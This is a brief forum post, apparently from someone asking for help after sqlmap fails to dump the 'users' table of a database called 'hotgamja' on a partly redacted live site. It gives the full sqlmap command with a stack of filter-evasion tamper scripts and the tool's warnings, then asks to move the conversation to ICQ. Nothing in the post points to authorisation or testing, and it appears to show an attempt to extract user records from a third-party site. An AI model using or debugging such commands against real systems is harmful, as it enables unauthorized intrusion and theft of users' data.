first thank for ur help

and it still this error can not dump columns info bro.(

root@kali:~# sqlmap -u "http://xxxxxx103846" -D hotgamja -T users --dump --no-cast --flush-session --threads=3 --tamper "space2morehash.py" "space2hash.py" "space2mysqlblank.py" "charencode.py" "chardoubleencode.py" "charunicodeencode.py" "percentage.py" --eta --batch --time-sec=10

[07:45:35] [WARNING] the SQL query provided does not return any output

[07:45:35] [INFO] fetching number of entries for table 'users' in database 'hotgamja'

[07:45:35] [INFO] retrieved:

[07:45:36] [WARNING] unable to retrieve the number of entries for table 'users' in database 'hotgamja'

bro can you talk with me by icq?